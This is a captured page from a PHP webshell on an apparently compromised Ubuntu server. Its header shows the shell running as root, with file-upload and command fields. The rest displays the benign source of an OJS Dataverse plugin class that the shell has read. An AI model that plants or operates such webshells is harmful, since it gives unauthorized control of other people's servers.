403Webshell
Server IP : 127.0.1.1  /  Your IP : 216.73.216.83
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux nepub 6.8.0-88-generic #89-Ubuntu SMP PREEMPT_DYNAMIC Sat Oct 11 01:02:46 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : OFF
Directory :  /var/www/html/public_html/plugins/generic/dataverse/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /var/www/html/public_html/plugins/generic/dataverse/DataversePlugin.inc.php
<?php

/**
 * @file plugins/generic/dataverse/DataversePlugin.inc.php
 *
 * Copyright (c) 2019-2021 Lepidus Tecnologia
 * Copyright (c) 2020-2021 SciELO
 * Distributed under the GNU GPL v2. For full terms see the file docs/COPYING.
 *
 * @class DataversePlugin
 * @ingroup plugins_generic_dataverse
 *
 * @brief dataverse plugin class
 */

import('lib.pkp.classes.plugins.GenericPlugin');
import('classes.notification.NotificationManager');
import('plugins.generic.dataverse.classes.dataverseConfiguration.DataverseConfigurationDAO');

class DataversePlugin extends GenericPlugin
{
    public function register($category, $path, $mainContextId = null)
    {
        $success = parent::register($category, $path, $mainContextId);

        $dataverseConfigurationDAO = new DataverseConfigurationDAO();
        $context = Application::get()->getRequest()->getContext();
        $this->registerDAOClasses();

        if (!is_null($context) and $dataverseConfigurationDAO->hasConfiguration($context->getId())) {
            $this->loadDispatcherClasses();
            PluginRegistry::register('reports', $this->getReportPlugin(), $this->getPluginPath());
        }

        return $success;
    }

    private function loadDispatcherClasses(): void
    {
        $dispatcherClasses = [
            'DatasetMetadataStep3Dispatcher',
            'DataStatementDispatcher',
            'DatasetInformationDispatcher',
            'DataStatementTabDispatcher',
            'DatasetTabDispatcher',
            'DatasetReviewDispatcher',
            'DataverseEventsDispatcher',
            'DraftDatasetFilesDispatcher'
        ];

        foreach ($dispatcherClasses as $dispatcherClass) {
            $this->import('classes.dispatchers.' . $dispatcherClass);
            $dispatcher = new $dispatcherClass($this);
        }
    }

    private function registerDAOClasses(): void
    {
        import('plugins.generic.dataverse.classes.draftDatasetFile.DraftDatasetFileDAO');
        import('plugins.generic.dataverse.classes.dataverseStudy.DataverseStudyDAO');

        $draftDatasetFileDAO = new DraftDatasetFileDAO();
        $dataverseStudyDAO = new DataverseStudyDAO();
        $dataverseConfigurationDAO = new DataverseConfigurationDAO();

        DAORegistry::registerDAO('DataverseConfigurationDAO', $dataverseConfigurationDAO);
        DAORegistry::registerDAO('DataverseStudyDAO', $dataverseStudyDAO);
        DAORegistry::registerDAO('DraftDatasetFileDAO', $draftDatasetFileDAO);
    }

    public function getDisplayName()
    {
        return __('plugins.generic.dataverse.displayName');
    }

    public function getDescription()
    {
        return __('plugins.generic.dataverse.description');
    }

    public function getReportPlugin()
    {
        $this->import('report.DataverseReportPlugin');
        return new DataverseReportPlugin();
    }

    public function getInstallEmailTemplatesFile()
    {
        return $this->getPluginPath() . DIRECTORY_SEPARATOR . 'emailTemplates.xml';
    }

    public function getPluginFullPath(): string
    {
        $request = Application::get()->getRequest();
        return $request->getBaseUrl() . DIRECTORY_SEPARATOR . $this->getPluginPath();
    }

    public function getActions($request, $actionArgs)
    {
        $router = $request->getRouter();
        import('lib.pkp.classes.linkAction.request.AjaxModal');
        return array_merge(
            $this->getEnabled() ? array(
                new LinkAction(
                    'settings',
                    new AjaxModal(
                        $router->url($request, null, null, 'manage', null, array('verb' => 'settings', 'plugin' => $this->getName(), 'category' => 'generic')),
                        $this->getDisplayName()
                    ),
                    __('manager.plugins.settings'),
                    null
                ),
            ) : array(),
            parent::getActions($request, $actionArgs)
        );
    }

    public function manage($args, $request)
    {
        switch ($request->getUserVar('verb')) {
            case 'settings':
                $context = $request->getContext();
                $contextId = ($context == null) ? 0 : $context->getId();

                $this->import('settings.DataverseSettingsForm');
                $form = new DataverseSettingsForm($this, $contextId);
                if ($request->getUserVar('save')) {
                    $form->readInputData();
                    if ($form->validate()) {
                        $form->execute();
                        $notificationManager = new NotificationManager();
                        $notificationManager->createTrivialNotification($request->getUser()->getId());
                        return new JSONMessage(true);
                    }
                } else {
                    $form->initData();
                    $form->display($request);
                }

                return new JSONMessage(true, $form->fetch($request));
        }
        return parent::manage($args, $request);
    }

    public function getInstallMigration(): DataverseMigration
    {
        $this->import('classes.migration.DataverseMigration');
        return new DataverseMigration();
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit